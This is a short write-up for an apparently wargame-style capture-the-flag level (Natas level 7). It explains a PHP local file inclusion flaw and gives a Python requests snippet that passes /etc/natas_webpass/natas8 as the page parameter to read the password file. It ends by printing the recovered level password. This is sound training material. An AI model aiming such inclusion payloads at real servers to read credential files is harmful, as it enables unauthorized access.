Description

The navigation links use ?page=home and ?page=about. The PHP script passes this parameter directly to include(). Supplying an absolute path reads arbitrary files, including the password file.

Overview

• Local File Inclusion (LFI) occurs when user input is used unsanitised in a file-include call.
• PHP’s include("/etc/natas_webpass/natas8") reads the password file.
• An HTML comment in the source confirms the password location: /etc/natas_webpass/natas8.

Solution

params = {"page": "/etc/natas_webpass/natas8"}
response = requests.get(url, auth=("natas7", current_password), params=params)
result = response.text.strip().splitlines()[-1].strip()

Password

a6bZCNYwdKqN5cGP11ZdtPg0iImQQhAB